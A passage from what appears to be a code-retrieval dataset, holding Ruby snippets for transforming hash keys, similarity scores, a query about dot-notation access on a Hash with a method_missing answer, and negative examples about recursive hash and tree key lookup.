"def symbolize_keys(hash)\n hash.inject({}){|result, (key, value)|\n new_key = case key\n when String then key.to_sym\n else key\n end\n new_value = case value\n when Hash then symbolize_keys(value)\n else value\n end\n result[new_key] = new_value\n result\n }\n end",
"def symbolize_keys(hash)\n hash.inject({}){|result, (key, value)|\n new_key = case key\n when String then key.to_sym\n else key\n end\n new_value = case value\n when Hash then symbolize_keys(value)\n else value\n end\n result[new_key] = new_value\n result\n }\nend",
"def deep_stringify_keys\n deep_transform_keys { |key| key.to_s }\n end",
"def recursively_symbolize_keys!(modify_nested_arrays = false)\n replace recursively_symbolize_keys(modify_nested_arrays)\n end",
"def to_normal_hash(hash)\n hash.to_h.transform_keys(&:to_sym)\n end",
"def modify_keys\n each_with_object self.class.new do |hash_pair, hsh|\n hsh[ yield( hash_pair ) ] = self[ hash_pair[0] ]\n end\n end",
"def _deep_transform_keys_in_object(object, &block)\n case object\n when Hash\n object.each_with_object(self.class.new) do |(key, value), result|\n result[yield(key)] = _deep_transform_keys_in_object(value, &block)\n end\n when Array\n object.map { |e| _deep_transform_keys_in_object(e, &block) }\n else\n object\n end\n end",
"def symbolize_keys(hash)\n if hash.is_a?(Hash)\n Hash[hash.map { |k, v| [k.to_s.underscore.to_sym, symbolize_keys(v)] }]\n elsif hash.respond_to?(:map)\n hash.map { |obj| symbolize_keys(obj) }\n else\n hash\n end\n end",
"def symbolize_keys(hash)\n Hash[hash.map { |k, v| v.is_a?(Hash) ? [k.to_sym, symbolize_keys(v)] : [k.to_sym, v] }]\nend",
"def dasherize_keys(hash)\n hash.deep_transform_keys do |key|\n key.to_s.dasherize\n end\n end",
"def symbolize_keys(recursive = false)\n to_hash.symbolize_keys(recursive)\n end",
"def deep_transform_hashes_of(hash, hash_cache = {})\n new_hash = FlexHash.new(mapping)\n hash.each_pair do |key, val|\n if val.class == Hash\n # only transform a given instance once\n hash_cache[val.object_id] ||= deep_transform_hashes_of(val, hash_cache)\n val = hash_cache[val.object_id]\n end\n new_hash[key] = val\n end\n new_hash\n end",
"def recursively_normalize_keys\n recursively_transform_keys { |key| key.downcase.to_sym rescue key }\n end",
"def symbolize_all_keys!\n self.keys.map do |key|\n if self[key].is_a? Hash\n self[key].symbolize_all_keys!\n elsif self[key].is_a? Array\n # Find hashes to sort in the array.\n self[key].each do |v|\n v.symbolize_all_keys! if v.is_a? Hash\n end\n end\n self[key.to_sym] = self.delete(key)\n end\n self\n end",
"def deconstruct_keys(keys)\n if @value.respond_to?(:deconstruct_keys)\n @value.deconstruct_keys(keys)\n else\n EMPTY_HASH\n end\n end",
"def deconstruct_keys(keys)\n if @value.respond_to?(:deconstruct_keys)\n @value.deconstruct_keys(keys)\n else\n EMPTY_HASH\n end\n end",
"def transform_hash(hash, path = \"\")\n hash.each_with_object({}) do |(k, v), ret|\n key = path + k.to_s\n\n if v.is_a?(Hash)\n ret.merge! transform_hash(v, \"#{key}:\")\n else\n ret[key] = v\n end\n end\n end",
"def rename_keys!(hash, mapping)\n mapping.each { |k, v| hash[v] = hash.delete(k) }\n hash\n end",
"def symbolize_keys(hash)\n h = hash.dup\n h.keys.each do |key|\n h[(key.to_sym rescue key) || key] = h.delete(key)\n end\n h\n end",
"def symbolize_keys(hash)\n if hash.is_a?(Hash)\n Hash[\n hash.map do |k, v|\n [k.respond_to?(:to_sym) ? k.to_sym : k, symbolize_keys(v)]\n end\n ]\n else\n hash\n end\n end",
"def _rebuild\n replacement = ActiveSupport::OrderedHash.new\n self.keys.sort.each do |key|\n replacement[key] = self[key]\n end\n\n self.replace(replacement)\n end",
"def _deep_transform_keys_in_object(object, &block)\n case object\n when Hash\n object.each_with_object(self.class.new) do |(key, value), result|\n result[yield(key)] = _deep_transform_keys_in_object(value, &block)\n end\n when Array\n object.map { |e| _deep_transform_keys_in_object(e, &block) }\n else\n object\n end\n end",
"def _deep_transform_keys_in_object(object, &block)\n case object\n when Hash\n object.each_with_object({}) do |(key, value), result|\n result[yield(key)] = _deep_transform_keys_in_object(value, &block)\n end\n when Array\n object.map {|e| _deep_transform_keys_in_object(e, &block) }\n else\n object\n end\n end",
"def clean_dict(original_dict)\n original_dict.each_with_object({}) do |(k, v), memo|\n memo[k.to_i] = clean_node(v)\n end\n end",
"def recursively_symbolize_keys\n recursively_transform_keys { |key| key.to_sym rescue key }\n end"
] |
[
"0.7925652",
"0.78578633",
"0.78578633",
"0.7820687",
"0.7645839",
"0.76293904",
"0.7611521",
"0.7605508",
"0.7597604",
"0.7543796",
"0.7543796",
"0.7289229",
"0.7184595",
"0.71616143",
"0.71616143",
"0.7098988",
"0.70942605",
"0.70734215",
"0.7041662",
"0.6975899",
"0.6943858",
"0.6931151",
"0.6866711",
"0.68590254",
"0.6855336",
"0.6820859",
"0.6817986",
"0.68019754",
"0.67854273",
"0.67671573",
"0.673435",
"0.6719537",
"0.6719537",
"0.6718734",
"0.66816866",
"0.66816866",
"0.6680476",
"0.66650206",
"0.66650206",
"0.66650206",
"0.6618811",
"0.66101503",
"0.6597569",
"0.6576113",
"0.6562556",
"0.6540166",
"0.6540166",
"0.6540166",
"0.65275675",
"0.65275663",
"0.6517864",
"0.65133405",
"0.64978164",
"0.6497566",
"0.6482002",
"0.6481885",
"0.6480302",
"0.6458336",
"0.6437652",
"0.64185643",
"0.64185643",
"0.63505745",
"0.6349119",
"0.63462174",
"0.633946",
"0.6328293",
"0.63175654",
"0.6309575",
"0.63010824",
"0.6269984",
"0.62506837",
"0.6246926",
"0.6244176",
"0.6233995",
"0.6233559",
"0.6232744",
"0.6231452",
"0.62302685",
"0.62204283",
"0.6217011",
"0.621093",
"0.61765254",
"0.6165861",
"0.6152126",
"0.6145688",
"0.6139945",
"0.61358726",
"0.61358726",
"0.6118021",
"0.6111448",
"0.61086816",
"0.6095056",
"0.60908705",
"0.60867304",
"0.60740376",
"0.606415",
"0.60623914"
] |
0.772875
|
7
|
Allows for dotnotation getting/setting within a Hash.
|
def method_missing(meth, *args, &block)
meth_name = meth.to_s
if meth_name[-1,1] == '='
self[meth_name[0..-2].to_sym] = args[0]
else
self[meth] || self[meth_name]
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def dotify(h)\n h.use_dot_syntax = true; h.keys.each{|k| dotify(h[k]) if h[k].is_a?(::Hash)}\n end",
"def [](key)\n raise InvalidDot unless @@dots.keys.include? key.to_s\n dot = @@dots[key.to_s]\n dot.respond_to?(:call) ? dot.call : dot\n end",
"def dig(hashlike, key)\n return hashlike unless hashlike.has_key?(key)\n nested_value = hashlike[key]\n case nested_value\n when Hash, ActionController::Parameters then nested_value\n else hashlike\n end\n end",
"def method_missing( sym, *args )\n\t\t\tkey = sym.to_s.sub( /(=|\\?)$/, '' ).to_sym\n\t\t\treturn nil unless @hash.key?( key )\n\n\t\t\tself.class.class_eval {\n\t\t\t\tdefine_method( key ) {\n\t\t\t\t\tif @hash[ key ].is_a?( Hash )\n\t\t\t\t\t\t@hash[ key ] = ConfigStruct.new( @hash[key] )\n\t\t\t\t\tend\n\n\t\t\t\t\t@hash[ key ]\n\t\t\t\t}\n\t\t\t\tdefine_method( \"#{key}?\" ) {@hash[key] ? true : false}\n\t\t\t\tdefine_method( \"#{key}=\" ) {|val|\n\t\t\t\t\t@dirty = @hash[key] != val\n\t\t\t\t\t@hash[key] = val\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tself.__send__( sym, *args )\n\t\tend",
"def Dottie(obj)\n Dottie[obj]\nend",
"def method_missing(key, *args, &block)\n key = key.to_s\n if key[-1] == '='\n # This is a set method\n set(key[0..-2], *args)\n else\n args.push(Proc.new(&block)) if block\n return call(key, *args) if args.length > 0\n get(key)\n end\n end",
"def get(key)\n \n end",
"def get(key); end",
"def get(key); end",
"def get(key); end",
"def get(key); end",
"def hash\n self.class.name.hash ^ @key.hash\n end",
"def [](key)\n __getobj__[key]\n end",
"def dot( quote )\n\t\tquote.tree[:value].each { |e|\n case e[:type]\n when :binding\n do_binding\n when :bind_constant\n do_bind_constant\n when :eval\n do_eval\n when :bang\n\t\t\t\truby = pop[:value]\n\t\t\t\tself.bang( ruby )\n when :dot\n do_dot\n when :dup\n do_dup\n\t\t\twhen :symbol\n\t v = @fstack.get( e[:value] )\n\t\t\t\tif ( v.class == Hash ) and ( v[:type] == :constant ) then\n\t\t\t\t\tpush( v[:value] )\n\t\t\t\telse\n push( e )\n end\n else\n push( e )\n end\n\t\t}\n end",
"def [](key) self.send(key) end",
"def [](key); self.properties[key.to_s]; end",
"def indifferent_dig hsh, keys\n keys.reduce(hsh) do |nested, key|\n next nil unless nested\n\n case key\n when String\n nested.key?(key) ? nested[key] : nested[key.intern]\n when Symbol\n nested.key?(key) ? nested[key] : nested[key.to_s]\n else\n nested[key]\n end # case\n end # method reduce\n end",
"def hash_mapped_struct\n set_field_getter {|obj, name| obj[name.to_sym] }\n set_field_setter {|obj, name, value| obj[name.to_sym] = value }\n end",
"def to_dotted_hash(hash, recursive_key = \"\")\n hash.each_with_object({}) do |(k , v), ret|\n key = recursive_key + k.to_s\n if v.is_a? Hash\n ret.merge!(to_dotted_hash(v, key + \".\"))\n else\n ret[key] = v\n end\n end\n end",
"def fetch_data(hash, key)\n cur = hash\n key.split('.').each { |k| cur = (cur || {})[k] }\n cur\n end",
"def t(hash, key)\n key.split('.').inject(hash) { |r, seg| r[seg] if r }\n end",
"def []( key )\n hash = load_hash\n hash[key]\n end",
"def get_and_set(key, value); end",
"def [](key)\n if key.kind_of?(Hash) || key =~ /=/\n cached_child(key)\n else\n read_attribute(key)\n end\n end",
"def property(key, opts={})\n case opts \n when Hash\n opts.merge!({:persistent=>true})\n else\n opts = {:persistent=>true}\n end\n def_attribute(key.to_sym, opts)\n end",
"def method_missing(symbol, *args)\n if symbol == :to_ary\n merged_attributes.send(symbol, *args)\n elsif args.empty?\n Chef.deprecated :attributes, %q{method access to node attributes (node.foo.bar) is deprecated and will be removed in Chef 13, please use bracket syntax (node[\"foo\"][\"bar\"])}\n self[symbol]\n elsif symbol.to_s =~ /=$/\n Chef.deprecated :attributes, %q{method setting of node attributes (node.foo=\"bar\") is deprecated and will be removed in Chef 13, please use bracket syntax (node[\"foo\"]=\"bar\")}\n key_to_set = symbol.to_s[/^(.+)=$/, 1]\n self[key_to_set] = (args.length == 1 ? args[0] : args)\n else\n raise NoMethodError, \"Undefined node attribute or method `#{symbol}' on `node'\"\n end\n end",
"def [](key)\n #if key is an alias, return that\n return super(aliasing_hash_aliases[key]) if aliasing_hash_aliases.include?(key)\n \n #otherwise return whatever regular hash would return\n return super\n end",
"def method_missing(sym, *args, &block)\n str = sym.to_s\n matches = nil\n\n if str == \"[]\"\n str = args.shift\n elsif str == \"[]=\"\n str = \"#{ args.shift }=\"\n end\n\n if @@fields.include?(str)\n @hash[str]\n elsif matches = str.match(/(.*)=$/) and @@fields.include?(matches[1])\n @hash[matches[1]] = args.first\n else\n super(sym, *args, &block)\n end\n end",
"def get(key)\n end",
"def hget(key, field); end",
"def hget(key, field); end",
"def get(key)\n end",
"def method_missing(method, *args)\n hash.send(method, *args)\n end",
"def method_missing(method, *args)\n hash.send(method, *args)\n end",
"def [](key); self.send(key); end",
"def nested_key(hash, key)\n hash[key] if hash\n end",
"def get(key)\n parts = key.split('.')\n curs = self\n while p = parts.shift\n curs = curs.send(p)\n end\n curs\n end",
"def setValue(hash, key, value)\n subkeys = key.split('.')\n lastkey = subkeys.pop\n subhash = subkeys.inject(hash) do |h, k|\n h[k] = {} if h[k].nil? \n h[k]\n end\n subhash[lastkey] = value\n end",
"def [](property); end",
"def [](key); super(key.to_s); end",
"def [](key)\n hash[key]\n end",
"def get(key, log: true)\n key = key&.to_sym\n if @value.key?(key)\n @value[key]\n elsif (meth = option_method(key))\n @value[key] = send(meth)\n elsif log\n Log.warn(\"#{self.class}[#{key.inspect}]: invalid key\")\n end\n end",
"def hash_for(expression)\n\n end",
"def [](key)\n\t\tget key\n\tend",
"def method_missing(sym, *args, &block)\n if sym[-1] != \"=\"\n sym_set = (sym.to_s + \"=\").to_sym\n return send(sym_set, *args, &block) if respond_to?(sym_set)\n end\n\n super\n end",
"def setting(key)\n @hash[key]\n end",
"def method_missing(name, *args, &block)\n key = name.to_s\n return missing_key(\"Missing setting '#{key}' in #{@section}\") unless has_key? key\n value = fetch(key)\n create_accessor_for(key)\n value.is_a?(Hash) ? self.class.new(value, \"'#{key}' section in #{@section}\") : value\n end",
"def key=(value); end",
"def from_hash\n each_valid_property do |key, value, accessor|\n case accessor.type\n when :pattern_property\n # TODO, key might not be a valid ruby method?\n accessor.add_methods(@instance, key.to_s)\n @builder.accessors.store(key, accessor)\n when :additional_property\n # TODO, key might not be a valid ruby method?\n accessor.add_methods(@instance, key.to_s, coerce: false)\n @builder.accessors.store(key, accessor)\n end\n\n @instance.send(\"#{ key }=\", value)\n end\n end",
"def [](key)\n self.send key\n end",
"def get(key)\n self.send(key)\n end",
"def method_missing sym, *args, &block\n \n #Since the object @data is a hashset we can verify if the key is present usign the key? method.\n #In this case we are taking the symbol and converting it into a true string, and returnign the map associated.\n if @data.key? sym.to_s\n \n #NOTE: Return leaves the method immediately\n return @data[sym.to_s]\n end\n \n #If we dont find teh value in our hash, lets call the defaul method_missing method by calling super and passing theß args.\n super sym, *args, &block\n end",
"def []( sym )\n @hash_references[sym]\n end",
"def test_can_assign_to_object_with_subscript_deref\n result = interpret 'o=~{one: 1, two: 2, three: 3};o[two:]=22;:o[two:]'\n assert_eq result, 22\n end",
"def method_missing sym, key=nil\n get if data.empty?\n\n sym,key = sym.to_s,key.to_s\n\n if data.has_key?(sym)\n \n return data[sym] if key.empty?\n \n if data[sym].is_a?(Hash) && data[sym].has_key?(key)\n return data[sym][key]\n else\n return nil\n end\n else\n super sym.to_sym, key\n end \n end",
"def method_missing(sym, *arguments, &blk)\n super unless defined?(attributes) && attributes.is_a?(Hash)\n if attributes.has_key? sym\n attributes[sym]\n else\n super\n end\n end",
"def []=(key, value)\n if value.is_a? Hash\n send \"#{key}=\", nested_class.new({ key: key.to_sym }.merge(value))\n else\n super\n end\n end",
"def [](key)\n @hash[key]\n end",
"def method_missing method, *params, &block\n method = method.to_s\n if method[-1..-1] == '='\n self[method[0..-2]] = params[0]\n else\n self[method]\n end\nend",
"def method_missing(method, *args)\n is_set_method = (method.to_s =~ /(.*)=$/)\n key = is_set_method ? $1 : method.to_s\n # No such key\n super unless @data.has_key?(key)\n # Set\n return @data[key] = args[0] if is_set_method\n # Get\n return @data[key]\n end",
"def [](name); @hash[name.to_s]; end",
"def test_can_access_internal_value_via_dotted_method\n result = interpret 'foo=~{var: 66};:foo.var'\n assert_eq result, 66\n end",
"def method_missing(method, *args, &block)\n instance_variable = \"@#{method.to_s}\".to_sym\n\n if @@keys.include? instance_variable\n args.flatten!\n # Set the instance variable to the value passed in\n unless args.empty?\n instance_variable_set(instance_variable, args[0])\n end\n\n # Return the value of the instance_variable\n instance_variable_get(instance_variable)\n else\n super\n end\n end",
"def load(hash)\n hash.each_pair do |key, value|\n mutator_name = \"#{key.to_s}=\"\n self.__send__(mutator_name, value) if methods.include?(mutator_name)\n end\n end",
"def method_missing(method, *args)\n if method.to_s[-1,1] == '='\n self.put(method.to_s.tr('=',''), *args)\n else\n self.get(method)\n end\n end",
"def [](key)\n get_property(key)\n end",
"def hash\n\t\tvalue.hash\n\tend",
"def method_missing(m, *args, &block)\n @raw_hash[m.to_s]\n end",
"def visit_DotAccessorNode(o)\n if @memory_sensitive || @preserved_identifiers.include?(o.accessor)\n super\n else\n obf_str = JSObfu::Utils::transform_string(o.accessor, scope, :quotes => false)\n \"#{o.value.accept(self)}[(#{obf_str})]\"\n end\n end",
"def [](key)\n return super unless key.to_s =~ /!$/\n __extract_bare_value(super)\n end",
"def method_missing(symbol, *args, &block)\n s = symbol.to_s\n if @pjson[s] != nil\n return @pjson[s]\n elsif s[-1, 1] == '=' && @pjson[s[0..-2]]\n @pjson[s[0..-2]] = args[0]\n else\n super\n end\n end",
"def []=(key, value)\n #if the key is an alias, lookup the real key\n key = aliasing_hash_aliases[key] if aliasing_hash_aliases.include?(key)\n \n super\n end",
"def dig(hash, path)\n keys = path.sub(/\\A\\//, '').split('/')\n keys.length > 0 ? hash.dig(*keys) : hash\nend",
"def [](key)\n config[key]\n end",
"def method_missing(sym)\n @hash[sym] || super\n end",
"def get key; call key; end",
"def method_missing(meth, *args, &block)\n meth = meth.to_s\n if meth.ends_with?('=') && @keys.include?(meth[0, meth.size - 1].to_sym)\n self[meth[0, meth.size - 1].to_sym] = args.first\n elsif meth.ends_with?('?') && @keys.include?(meth[0, meth.size - 1].to_sym)\n self[meth[0, meth.size - 1].to_sym]\n else\n get_model_attr.send(meth.to_sym, *args, &block)\n end\n end",
"def method_missing(method, *args, &block)\n if @hash.key?(method.to_s.to_sym)\n @hash[method.to_s.to_sym]\n else\n @hash.send(method, *args, &block)\n end\n end",
"def [](key) ; @data[key] ; end",
"def __hash\n @hash\n end",
"def method_missing(sym, *args)\n meth = sym.to_s\n name = meth.chomp('=')\n case meth\n when /=$/\n self[name] = args.first\n else\n if block_given? or args.size > 0\n super(sym, *args)\n else\n self[name]\n end\n end\n end",
"def key_value(attribute)\n define_method :\"#{attribute}\" do \n instance_variable_set(:\"@#{attribute}\", Hash.new) unless instance_variable_get(:\"@#{attribute}\")\n instance_variable_get(:\"@#{attribute}\")\n end\n end",
"def at(key_chain)\n result = key_chain.split(\".\").inject(self) { |result, key| result = result ? result[key] : nil }\n end",
"def hash\n value.hash\n end",
"def set_nested(hash, field_name, value)\n field_ref = Java::OrgLogstash::FieldReference.from(field_name)\n # create @metadata sub-hash if needed\n if field_ref.type == Java::OrgLogstash::FieldReference::META_CHILD\n nesting_hash = hash[\"@metadata\"]\n else\n nesting_hash = hash\n end\n\n field_ref.path.each do |token|\n nesting_hash[token] = {} unless nesting_hash.key?(token)\n nesting_hash = nesting_hash[token]\n end\n nesting_hash[field_ref.key] = value\n end",
"def set(key, value, ex: T.unsafe(nil), px: T.unsafe(nil), exat: T.unsafe(nil), pxat: T.unsafe(nil), nx: T.unsafe(nil), xx: T.unsafe(nil), keepttl: T.unsafe(nil), get: T.unsafe(nil)); end",
"def method_missing(*args, &block)\n method = args.first.to_s\n case method\n when /=$/\n key = args.shift.to_s.chomp('=')\n value = args.shift\n self[key] = value\n when /\\?$/\n key = args.shift.to_s.chomp('?')\n self.has?( key )\n else\n key = method\n unless has_key?(key)\n return(block ? fetch(key, &block) : super(*args))\n end\n self[key]\n end\n end",
"def method_missing(m, *args)\n @hash[m.to_s]\n end",
"def [](key)\n\t\t\tself.send(key.to_sym)\n\t\tend",
"def [](key)\n\t\t\tself.send(key.to_sym)\n\t\tend",
"def set_attribute(dict_name, key, value)\n end",
"def set_attribute(dict_name, key, value)\n end",
"def method_missing(meth, *args, &blk)\n name = meth.to_s\n return evaluate(self[meth]) if name.size == 1\n # Ruby 1.8.7 doesn't let you do string[-1]\n key, suffix = name[0..-2].to_sym, name[-1..-1]\n case suffix\n when '='\n self[key] = args.first\n when '?'\n include? key\n when '!'\n raise Error, \"Setting :#{key} is not set\" unless include?(key)\n evaluate self[key]\n else\n evaluate self[meth]\n end\n end",
"def dot\n end",
"def key=(key); end",
"def method_missing(symbol, *args, &block)\r\n key = symbol.to_s\r\n return set(key[0, key.length - 1].to_sym, args.first) if (key[-1].eql? '=')\r\n get(symbol)\r\n end",
"def method_missing(mid, *args, **kwargs, &block)\n len = args.length\n\n res = if mid.to_s.end_with?('!')\n m = mid[0...-1].to_sym\n new_ostruct_member!(m)\n @table[m]\n elsif mid.to_s.end_with?('=')\n m = mid[0...-1].to_sym\n new_ostruct_member!(m)\n @table[m] = args.first\n elsif len.positive? || kwargs.any? || block\n new_ostruct_member!(mid)\n @table[mid] = nested_class.new(key: mid, **(args.first || {}), **kwargs)\n else\n @table[mid]\n end\n\n block&.call(res)\n\n res\n end",
"def hsetnx(key, field, value); end",
"def hsetnx(key, field, value); end",
"def set_attribute(dict_name, key, value)\n end"
] |
[
"0.6991673",
"0.66025126",
"0.64070123",
"0.6051455",
"0.59886587",
"0.59252495",
"0.5917571",
"0.58915424",
"0.58915424",
"0.58915424",
"0.58915424",
"0.5769708",
"0.5768234",
"0.57667917",
"0.5766441",
"0.5766174",
"0.5747382",
"0.57413435",
"0.5726385",
"0.570802",
"0.5675598",
"0.5652623",
"0.56517553",
"0.5626196",
"0.56170094",
"0.5608865",
"0.5604757",
"0.55980456",
"0.5590424",
"0.55747664",
"0.55747664",
"0.5570471",
"0.5567939",
"0.5567939",
"0.5526874",
"0.55208224",
"0.5520283",
"0.5507422",
"0.5506285",
"0.55011517",
"0.54981875",
"0.5497575",
"0.54966897",
"0.5489028",
"0.5488763",
"0.5486311",
"0.54827636",
"0.5479391",
"0.5473761",
"0.5472736",
"0.5466131",
"0.54606605",
"0.5450893",
"0.54459435",
"0.5444224",
"0.54366666",
"0.54356134",
"0.54324967",
"0.5417407",
"0.54139376",
"0.5412069",
"0.54046935",
"0.5404052",
"0.54004633",
"0.5390088",
"0.53838813",
"0.5381304",
"0.5373129",
"0.53641593",
"0.5361531",
"0.53612643",
"0.5360878",
"0.5360796",
"0.5360538",
"0.53569835",
"0.5354561",
"0.53523266",
"0.5348934",
"0.53446275",
"0.5344121",
"0.5343724",
"0.5343351",
"0.53428656",
"0.5340658",
"0.53321904",
"0.5330121",
"0.5330082",
"0.53286135",
"0.5320417",
"0.5320417",
"0.53174156",
"0.53174156",
"0.53142214",
"0.53102505",
"0.53074604",
"0.52992964",
"0.5298757",
"0.5298665",
"0.5298665",
"0.52982527"
] |
0.5299494
|
95
|
Recursively searches a hash for the passed key and returns the value (if there is one).
|
def recursive_find_by_key(key)
# Create a stack of hashes to search through for the needle which
# is initially this hash
stack = [ self ]
# So long as there are more haystacks to search...
while (to_search = stack.pop)
# ...keep searching for this particular key...
to_search.each do |k, v|
# ...and return the corresponding value if it is found.
return v if (k == key)
# If this value can be recursively searched...
if (v.respond_to?(:recursive_find_by_key))
# ...push that on to the list of places to search.
stack << v
end
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def find(key)\n if @root.nil?\n return nil\n elsif @root.key == key\n return @root.value\n else\n find_helper(@root, key)\n end\n end",
"def nested_hash_value(obj, key)\n if obj.respond_to?(:key?) && obj.key?(key)\n obj[key]\n elsif obj.respond_to?(:each)\n r = nil\n obj.find do |*a|\n r = nested_hash_value(a.last, key)\n end\n r\n end\n end",
"def [](key)\n node = root_node\n ba_key = Bitarray.new(key)\n\n # descend to the node or bail with null value hash\n 1.upto(KEY_SIZE) do |depth|\n bit = ba_key[depth - 1]\n node = (bit == 0) ? node.left : node.right\n return self.class.null_value_hash unless node\n end\n node.value\n end",
"def nested_hash_value(obj,key)\n if obj.respond_to?(:key?) && obj.key?(key)\n obj[key]\n elsif obj.respond_to?(:each)\n r = nil\n obj.find{ |*a| r=nested_hash_value(a.last,key) }\n r\n end\n end",
"def find(key)\n if @root.nil?\n return nil\n end\n\n current_node = @root\n\n while current_node != nil\n if current_node.key == key\n return current_node.value\n elsif current_node.key < key\n current_node = current_node.right\n elsif current_node.key > key\n current_node = current_node.left\n end\n end\n print \"No value found\"\n end",
"def find_recursive(current, key)\n return nil if current.nil?\n\n return current.value if key == current.key\n\n if key < current.key\n find_recursive(current.left, key)\n elsif key > current.key\n find_recursive(current.right, key)\n end\n end",
"def find(key)\n node = find_node(key)\n (node == nil ? nil : node.value)\n end",
"def find(key)\n # If we are already on nil, just add it here\n return nil if @root.nil?\n #Return the root value if it is the value we are looking for\n return @root.value if @root.key == key\n #Otherwise, call in reinforcements\n return find_helper(@root, key)\n end",
"def recursively_search_hash(hash, key)\n values = hash.collect {|k, v| v if k == key}.compact\n values << hash.collect { |k, v| recursively_search_hash(v, key) if v.is_a?(Hash) }\n values << hash.collect do |k, v|\n v.collect {|element| recursively_search_hash(element, key) if element.is_a?(Hash) } if v.is_a?(Array)\n end\n return values.flatten.compact.uniq\n end",
"def find_entry(key)\n key_hash = key.hash\n\n entry = @entries[key_index(key_hash)]\n while entry\n if entry.match? key, key_hash\n return entry\n end\n entry = entry.next\n end\n end",
"def find(key)\n return nil if @root.nil?\n\n current = @root\n\n while current != nil\n if key == current.key\n return current.value\n elsif key < current.key\n current = current.left\n else\n current = current.right\n end \n end \n\n return nil\n end",
"def find(key)\n return nil if @root == nil\n\n current = @root\n\n until current == nil\n if key == current.key\n return current.value\n elsif key < current.key\n current = current.left\n else\n current = current.right\n end\n end\n\n return nil\n end",
"def search_bin(entry,hash,key)\n while entry\n cur_hash, cur_key, cur_val, nxt = *entry\n\n if cur_hash == hash and key.eql?(cur_key)\n return entry\n end\n\n entry = nxt\n end\n return Undefined\n end",
"def find(key)\n current = @root\n\n while current != nil\n if current.key > key\n current = current.left\n elsif current.key < key\n current = current.right\n else\n return current.value\n end\n end\n return nil\n end",
"def find(key)\n return if !@root\n curr = @root\n while curr \n if curr.key == key\n return curr.value\n elsif curr.key > key\n curr = curr.left\n else\n curr = curr.right\n end\n end\n return false\n end",
"def find(key)\n if @root == nil\n return nil\n elsif @root.key == key\n return @root.value\n else\n current_node = @root\n while current_node != nil\n if key == current_node.key\n return current_node.value\n elsif key <= current_node.key\n current_node = current_node.left\n else\n current_node = current_node.right\n end\n end\n end \n end",
"def find(key, node=@root)\n return nil if @root.nil?\n\n if key < node.key\n find(key, node.left)\n elsif key > node.key\n find(key, node.right)\n else\n return node.value\n end\n end",
"def find_value(calling_node, key)\n @router.touch(calling_node)\n value = @values[key.to_bin]\n return value unless value.nil?\n return find_node(key)\n end",
"def find(key)\n # TODO(himanshujaju) - possible improvement by not checking for contains.\n if contains?(key)\n return @key_data[key].value\n end\n\n return nil\n end",
"def find(key, node = root)\n return nil if node.nil?\n if key == node.data\n return node\n else\n find(key, left_right(key, node))\n end\n end",
"def find(key)\n return nil if @root.nil?\n current = @root\n while current != nil\n if key == current.key\n return current.value\n elsif key > current.key \n current = current.right\n else\n current = current.left\n end\n end\n end",
"def find_key(key)\n leaf, stack = walk_towards_key(key)\n return nil if leaf && leaf.peek_item.key != key\n leaf\n end",
"def get(key)\n get_recursive(@root, key)\n end",
"def find(key)\n return nil if @root.nil?\n\n current = @root\n while current\n if key > current.key\n current = current.right\n elsif key < current.key\n current = current.left\n else\n return current.value\n end\n end\n\n return nil\n end",
"def find(key)\n find_node(checked_get_node(key))\n end",
"def lookup(key)\n if key_pair = pair(key, hash(key))\n key_pair[1]\n end\n end",
"def find(key)\n return nil if @root.nil?\n return find_helper(@root, key)\n end",
"def find(key)\n if root.nil?\n return nil\n else\n root.find(key)\n end\n end",
"def find_element(h)\n h.each do |key, value|\n if value.is_a? Hash\n find_element(h[key])\n else\n puts value\n end\n end\nend",
"def get(key)\n found = @hash[key]\n\n if found\n @list.move_node_to_head(found)\n return found\n end\n\n -1\n end",
"def find(key)\n if empty?\n nil\n else\n if @val[0] == key\n @val\n elsif @val[0] < key && @right!=nil\n @right.find(key)\n elsif @left!=nil\n @left.find(key)\n else\n nil\n end\n end\n end",
"def find_helper(node, key)\n if node.nil?\n return nil\n elsif node.key == key\n return node.value\n elsif key < node.key\n return find_helper(node.left, key)\n elsif key > node.key\n return find_helper(node.right, key)\n end\nend",
"def get_key(hash, key)\n if hash.has_key? key\n return hash[key]\n else\n raise \"key '#{key}' was expected but not found in #{hash}\"\n end\n end",
"def find(key)\n return find_helper(@root, key)\n end",
"def find(key)\n return find_helper(@root, key)\n end",
"def find(key)\n return find_helper(@root, key)\n end",
"def find(key)\n return find_helper(@root, key)\n end",
"def find(key)\n return find_helper(@root, key)\n end",
"def find(key)\r\n \t\t\t# Start at beginning of the List\r\n \t\t\tcurrent = @head\r\n \t\t\t# Go through list until nil\r\n\t\t\twhile current\r\n\t\t\t\t# If matching key is found return value at node\r\n\t\t\t\tif current.key == key\r\n\t\t\t\t\treturn current.value\r\n\t\t\t\tend\r\n\t\t\t\t# Go to next node\r\n\t\t\t\tcurrent = current.next\r\n\t\t\tend\r\n \t\tend",
"def find(key)\n current_and_parent_pair = find_current_and_parent_nodes(key)\n if current_and_parent_pair[:current] \n return current_and_parent_pair[:current].value\n else\n return nil\n end\n end",
"def search_key key\n node = self.head\n while node\n return node if node.key == key\n nc = node.child \n while nc\n return nc if nc.key == key\n ncs = nc.sibling\n while ncs \n return ncs if ncs.key == key\n ncs = ncs.sibling\n end\n nc = nc.child\n end\n node = node.sibling\n end\n end",
"def find(key, current=@root)\n return unless current\n\n return current.value if current.key == key\n return find(key, current.left) if key < current.key\n return find(key, current.right) if key > current.key\n end",
"def result(hash, key)\n hash[key]\nend",
"def find(key)\n current_node = @root \n return find_helper(current_node, key)\n end",
"def find(key)\n x = find_nearest_node(key)\n return node_value(x) if node_compare(x, key) == 0\n nil # nothing found\n end",
"def find(key)\n x = find_nearest_node(key)\n return node_value(x) if node_compare(x, key) == 0\n nil # nothing found\n end",
"def find(key)\n find_helper(@root, key)\n end",
"def find(key)\n find_helper(@root, key)\n end",
"def find_helper(current_node, key)\n return nil if current_node.nil?\n return current_node.value if current_node.key == key\n\n if key < current_node.key\n current_node = find_helper(current_node.left, key)\n else\n current_node = find_helper(current_node.right, key)\n end\n end",
"def find(key)\n helper_find(@root, key)\n end",
"def get(key)\n node = get_rec(@root, key, 0)\n return nil if node.nil?\n return node.value\n end",
"def read_from_hash(hash, key)\n # return the correct value using the hash and key parameters\n hash[key]\nend",
"def get(key)\n node = _get(@root, key)\n return nil unless node\n node.value\n end",
